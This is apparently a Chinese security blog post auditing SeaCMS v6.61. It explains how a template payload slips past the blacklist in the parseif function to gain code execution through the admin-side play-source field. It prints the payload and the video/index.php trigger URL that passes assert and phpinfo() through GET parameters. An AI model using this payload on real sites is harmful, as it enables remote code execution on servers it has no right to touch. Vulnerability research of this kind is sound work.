seacms v6.61 審計深入思考

前幾天跟了一下有關cve-2018-14421,seacms最新版後臺getshell,發現整個漏洞利用的核心,是繞過了一個黑名單過濾,後續發現很多地方都使用了這個函數,又發現了一條可以利用的攻擊鏈,這裏簡單分析一下。

 

核心過濾代碼

有關cve-2018-14421的具體分析可以看我之前在安全客發的文章,文章地址.
其實這個cve的核心就是繞過了在/include/main.class.php裏面的parseif函數,這段代碼原來的作用是在渲染模板的時候,處理一些簡單的if邏輯,但是過濾卻沒有寫好,導致了只要有任何一個在模板中的變量可控,就可以導致任意代碼執行。

foreach($iar as $v){
            $iarok[] = str_ireplace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','_SERVER','assert','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
        }

 

在原來的利用場景尋找可控的模板變量

在原來的輸出點,將所有的模板變量打印出來以後,可以看到所有需要渲染的模板變量。
然後就可以參照變量的輸入過濾流程,來一步步分析,但是經過簡單的分析,除了上個cve使用的pic變量,其餘的變量都不可控,所以這個頁面的利用鏈失敗。

 

尋找新的利用點

首先全局搜索了一下調用了parseif這個函數的位置,在找有關的模板變量。
進過一番查找,我們發現了video/index.php這個文件。
還是一樣,先將所有的模板變量全都打印出來,方便我們查找。
然後就依次對每個模板變量進行溯源,但是在直接可控的變量中,並沒有發現可以注入代碼的地方,因此思路轉向了間接注入代碼
最後找到了一個關鍵的模板變量{playpage:from}

 

變量追蹤

他在video/index.php中是這麼處理的:
由上圖可以看出,這個變量間接來自於數據庫中的v_playdata這個字段的值
然後可以直接去後臺添加影片的地方,具體查看這個值是如何被加入數據庫的
可以看到這個變量是根據v_playfrom和v_playurl兩個變量處理得來的
然後我們具體去查看這兩個變量具體是什麼
發現是播放來源,這個是個多選列表,於是思路變成添加一個帶有惡意代碼的播放來源,然後選擇這個來源,從而注入惡意代碼


來源名稱爲注入的代碼:

{if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);die();//}{end if}

其餘的參數可以隨便寫

然後發現並沒有過濾,完全可以直接注入惡意代碼
然後我們在添加影片的時候,選擇這個來源,並且抓包

發現前端進行了過濾,v_playfrom[1]截取了部分內容,我們用payload將其補充完整

{if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);die();//}{end if}

 

漏洞利用

先在管理影片頁面,查看剛纔添加的影片id,然後訪問頁面

seacms/video/index.php?6-0-0.html&a=assert&b=phpinfo();

(其中的6爲影片id)

可以看到代碼已經執行,從而完成漏洞利用

 

數據流梳理

 

總結

感覺這種攻擊利用鏈可能還存在,核心函數過濾不好確實會導致很多問題,這也給我們在平時開發敲響了警鐘,一些複用很多的關鍵過濾函數必須要做好。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章